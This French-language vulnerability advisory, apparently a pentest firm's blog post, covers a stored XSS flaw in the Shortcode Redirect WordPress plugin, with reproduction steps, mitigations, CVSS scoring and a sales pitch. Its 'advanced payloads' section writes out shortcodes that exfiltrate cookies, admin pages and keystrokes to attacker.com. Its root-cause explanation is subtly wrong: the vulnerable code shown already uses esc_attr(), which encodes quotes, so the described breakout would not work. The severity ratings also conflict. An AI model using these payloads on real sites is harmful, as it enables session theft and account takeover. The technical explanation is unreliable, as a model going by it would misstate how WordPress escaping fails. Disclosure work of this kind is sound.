Shortcode Redirect <= 1.0.02: XSS stockée via le paramètre sec - Analyse complète

> Découverte par Rooting Studio — Corrigé en 1.0.03 — Priorité: moyenne à élevée selon contexte

Résumé exécutif

• Logiciel : Shortcode Redirect (plugin WordPress)
• Versions vulnérables : <= 1.0.02
• Corrigé dans : 1.0.03
• Gravité : Moyenne à élevée (CVSS 6.5-7.5 selon contexte)
• Type : Cross-Site Scripting (XSS) stockée (OWASP Top 10 — A03: Injection)
• Privilèges requis : Contributor (édition de contenu) ou plus
• Impact : Vol de session, exfiltration de données, compromission de compte administrateur

Contexte : Qu'est-ce que le XSS stocké ?

Le Cross-Site Scripting (XSS) stocké est l'une des vulnérabilités web les plus dangereuses. Contrairement au XSS réfléchi qui nécessite que la victime clique sur un lien malveillant, le XSS stocké est persistant : le code malveillant est enregistré dans la base de données et s'exécute à chaque visite de la page.

Pourquoi c'est dangereux :

• Persistance : Le code reste actif même après la publication
• Impact large : Tous les visiteurs sont affectés
• Escalade de privilèges : Peut mener à la compromission complète du site
• Vol de données : Cookies, sessions, informations sensibles

Description technique approfondie

Le problème

Le plugin Shortcode Redirect permet de créer des redirections via un shortcode WordPress. Le paramètre sec (secondes de délai avant redirection) est insuffisamment validé.

Code vulnérable (simplifié) :

// Code du plugin (version vulnérable)
$sec = esc_attr($atts['sec']); // Échappement insuffisant
echo '<meta http-equiv="refresh" content="' . $sec . ';url=' . $url . '">';

Le problème : esc_attr() échappe les caractères pour un attribut HTML, mais le contexte d'utilisation (attribut content d'une balise meta) permet de casser le contexte et d'injecter du JavaScript.

Mécanisme d'exploitation

1. Injection : Un utilisateur avec privilèges Contributor insère un shortcode malveillant

2. Stockage : Le shortcode est enregistré dans la base de données WordPress

3. Exécution : À chaque visite de la page, le code JavaScript s'exécute

4. Impact : Vol de cookies, sessions, ou exfiltration de données

Exemple d'exploitation

Shortcode malveillant :

[redirect url='https://google.com' sec='0"><script>alert("XSS")</script><meta content="']

Résultat HTML généré :

<meta http-equiv="refresh" content="0"><script>alert("XSS")</script><meta content=";url=https://google.com">

Le script s'exécute car il casse le contexte de l'attribut content.

Reproduction détaillée

Prérequis

1. WordPress avec le plugin Shortcode Redirect <= 1.0.02

2. Compte utilisateur avec privilèges Contributor ou plus

3. Accès à l'éditeur de contenu

Étapes d'exploitation

Étape 1 : Installation du plugin vulnérable

# Télécharger la version 1.0.02
# Installer via l'interface WordPress ou wp-cli
wp plugin install shortcode-redirect --version=1.0.02 --activate

Étape 2 : Création du payload

Créer un nouvel article ou page et insérer le shortcode malveillant :

[redirect url='https://google.com' sec='0"><script>alert("Stored XSS Vulnerability")</script><meta content="']

Étape 3 : Publication

Publier l'article. Le shortcode est maintenant stocké dans la base de données.

Étape 4 : Exécution

Visiter la page publiée. L'alerte JavaScript s'exécute, confirmant la vulnérabilité XSS.

Payloads avancés

#### 1. Vol de cookies et session

Payload :

[redirect url='https://google.com' sec='0"><script>document.location="http://attacker.com/steal?c="+document.cookie</script><meta content="']

Impact : Vol de la session WordPress de l'administrateur, permettant un accès complet au back-office.

#### 2. Exfiltration de page admin

Payload :

[redirect url='https://google.com' sec='0"><script>fetch("/wp-admin/",{credentials:"include"}).then(r=>r.text()).then(d=>fetch("http://attacker.com/admin",{method:"POST",body:d}))</script><meta content="']

Impact : Vol du contenu de la page d'administration WordPress, incluant potentiellement des informations sensibles.

#### 3. Keylogger JavaScript

Payload :

[redirect url='https://google.com' sec='0"><script>document.onkeypress=function(e){fetch("http://attacker.com/keylog?k="+e.key)}</script><meta content="']

Impact : Enregistrement de toutes les frappes de l'utilisateur, permettant le vol de mots de passe.

#### 4. Redirection vers site malveillant

Payload :

[redirect url='http://attacker.com/phishing' sec='0"><script>setTimeout(function(){document.location="http://attacker.com/phishing"},1000)</script><meta content="']

Impact : Redirection des visiteurs vers un site de phishing.

Impact business

Scénarios d'attaque

Scénario 1 : Compromission de compte administrateur

• Attaquant crée un compte Contributor (ou compromet un compte existant)
• Injection d'un payload XSS volant les cookies
• Vol de la session administrateur
• Résultat : Contrôle total du site WordPress

Scénario 2 : Défacement du site

• Injection d'un payload modifiant le contenu
• Remplacement de la page d'accueil
• Résultat : Site compromis, perte de confiance

Scénario 3 : Vol de données clients

• Injection d'un keylogger
• Enregistrement des données de connexion clients
• Résultat : Violation RGPD, amendes jusqu'à 4% du CA

Coûts estimés

| Impact | Coût estimé | Probabilité |

|--------|-------------|-------------|

| Compromission complète | 10 000€ - 50 000€ | Élevée |

| Violation RGPD | 20 000€ - 200 000€ | Moyenne |

| Perte de réputation | 5 000€ - 25 000€ | Élevée |

| Temps de récupération | 2-4 semaines | Élevée |

Mitigation et protection

Solution immédiate

1. Mise à jour du plugin

# Mettre à jour vers la version 1.0.03 ou supérieure
wp plugin update shortcode-redirect

2. Désactivation temporaire

Si la mise à jour n'est pas possible immédiatement :

# Désactiver le plugin
wp plugin deactivate shortcode-redirect

3. Audit du contenu

Rechercher les shortcodes malveillants dans la base de données :

-- Rechercher les shortcodes suspects
SELECT * FROM wp_posts 
WHERE post_content LIKE '%[redirect%' 
AND post_content LIKE '%<script%';

Protection à long terme

1. Restriction des privilèges

• Limiter l'usage du shortcode aux rôles de confiance uniquement
• Utiliser des plugins de gestion des rôles (User Role Editor)

2. Validation côté serveur

// Code sécurisé (exemple)
function secure_redirect_shortcode($atts) {
    $sec = intval($atts['sec']); // Cast en entier
    $sec = max(0, min(300, $sec)); // Limiter entre 0 et 300 secondes
    $url = esc_url($atts['url']); // Valider l'URL
    
    // Utiliser wp_safe_redirect() si possible
    return '<meta http-equiv="refresh" content="' . esc_attr($sec) . ';url=' . esc_url($url) . '">';
}

3. Content Security Policy (CSP)

Ajouter des headers CSP pour bloquer l'exécution de scripts inline :

# .htaccess
Header set Content-Security-Policy "script-src 'self'; object-src 'none';"

4. WAF (Web Application Firewall)

• Utiliser un WAF (Wordfence, Sucuri) pour bloquer les tentatives XSS
• Configurer des règles spécifiques pour les shortcodes

Bonnes pratiques pour les développeurs

1. Encodage contextuel

Mauvaise pratique :

echo '<div>' . $user_input . '</div>'; // XSS possible

Bonne pratique :

echo '<div>' . esc_html($user_input) . '</div>'; // Sécurisé
echo '<a href="' . esc_url($user_input) . '">'; // Pour les URLs
echo '<input value="' . esc_attr($user_input) . '">'; // Pour les attributs

2. Validation des entrées

Toujours valider avant d'utiliser :

// Validation stricte
$sec = filter_var($atts['sec'], FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 0, 'max_range' => 300]
]);

if ($sec === false) {
    $sec = 0; // Valeur par défaut
}

3. Utilisation de fonctions WordPress sécurisées

WordPress fournit des fonctions d'échappement :

• esc_html() : Pour le contenu HTML
• esc_attr() : Pour les attributs HTML
• esc_url() : Pour les URLs
• esc_js() : Pour le JavaScript
• wp_kses() : Filtrage HTML avec whitelist

Évaluation CVSS v3.1

Vecteur d'attaque

• AV:N (Network) : Accessible via le réseau
• AC:L (Low) : Complexité d'attaque faible
• PR:L (Low) : Privilèges bas requis (Contributor)
• UI:N (None) : Pas d'interaction utilisateur requise
• S:U (Unchanged) : Scope inchangé
• C:H (High) : Impact sur la confidentialité (vol de données)
• I:H (High) : Impact sur l'intégrité (modification de contenu)
• A:N (None) : Pas d'impact sur la disponibilité

Score CVSS

Score de base : 7.5 (Élevé)

Justification :

• Privilèges bas requis (Contributor)
• Exploitation facile
• Impact élevé sur la confidentialité et l'intégrité
• Peut mener à une compromission complète

Références et ressources

Documentation OWASP

• OWASP Top 10 2021 — A03: Injection
• OWASP XSS Prevention Cheat Sheet
• OWASP Testing Guide — Testing for XSS

Ressources WordPress

• WordPress Security Handbook
• WordPress Coding Standards
• Plugin Security Best Practices

Outils de test

• OWASP ZAP : Scanner automatique de vulnérabilités XSS
• Burp Suite : Proxy et scanner manuel
• XSSer : Outil spécialisé pour tester les XSS

FAQ - Shortcode Redirect XSS

{ question: "Qu'est-ce qu'une vulnérabilité XSS stockée ?", answer: "Une vulnérabilité XSS stockée (Stored XSS) est une faille de sécurité où du code JavaScript malveillant est enregistré dans la base de données et s'exécute à chaque visite de la page. Contrairement au XSS réfléchi qui nécessite un clic sur un lien, le XSS stocké est persistant et affecte tous les visiteurs de la page." },

{ question: "Pourquoi cette vulnérabilité est-elle dangereuse ?", answer: "Cette vulnérabilité est dangereuse car elle permet à un attaquant avec des privilèges bas (Contributor) de voler les sessions des administrateurs, d'exfiltrer des données sensibles, ou de compromettre complètement le site WordPress. L'impact peut aller jusqu'à la violation RGPD avec des amendes importantes." },

{ question: "Comment détecter si mon site est vulnérable ?", answer: "Pour détecter cette vulnérabilité, vous pouvez : 1) Vérifier la version du plugin Shortcode Redirect (doit être >= 1.0.03), 2) Effectuer un scan de sécurité avec OWASP ZAP ou Burp Suite, 3) Faire appel à un expert en pentest web pour un audit complet de votre site WordPress." },

{ question: "Comment protéger mon site WordPress contre les XSS ?", answer: "Pour protéger votre site : 1) Mettre à jour tous les plugins et thèmes régulièrement, 2) Utiliser un WAF (Web Application Firewall) comme Wordfence, 3) Configurer des Content Security Policy (CSP) headers, 4) Limiter les privilèges utilisateurs au strict nécessaire, 5) Effectuer des audits de sécurité réguliers avec un pentest web." },

{ question: "Dois-je faire un pentest web après avoir corrigé cette vulnérabilité ?", answer: "Oui, il est fortement recommandé d'effectuer un pentest web complet après avoir corrigé cette vulnérabilité. Un pentest permet de vérifier qu'il n'y a pas d'autres failles similaires, de tester l'efficacité des correctifs, et d'identifier d'autres vulnérabilités potentielles dans votre site WordPress." }

]} />

Conclusion

La vulnérabilité XSS stockée dans Shortcode Redirect <= 1.0.02 illustre l'importance de valider et échapper correctement toutes les entrées utilisateur, même dans des contextes qui semblent sûrs. Cette faille, bien que de gravité moyenne, peut avoir un impact business significatif si exploitée.

Recommandations :

1. ✅ Mettre à jour immédiatement vers la version 1.0.03 ou supérieure

2. ✅ Auditer le contenu existant pour détecter d'éventuelles exploitations

3. ✅ Effectuer un pentest web pour identifier d'autres vulnérabilités

4. ✅ Mettre en place des protections (WAF, CSP, restrictions de privilèges)

—

Pour comprendre comment tester les vulnérabilités XSS dans WordPress et identifier toutes les failles de votre site, consultez notre **guide complet du pentest web** qui détaille la méthodologie OWASP pour identifier les injections et autres vulnérabilités.

Besoin d'un audit pragmatique et reproductible de votre site WordPress ? Découvrez notre **pentest web** basé sur l'OWASP Top 10, avec rapports actionnables et re-tests inclus.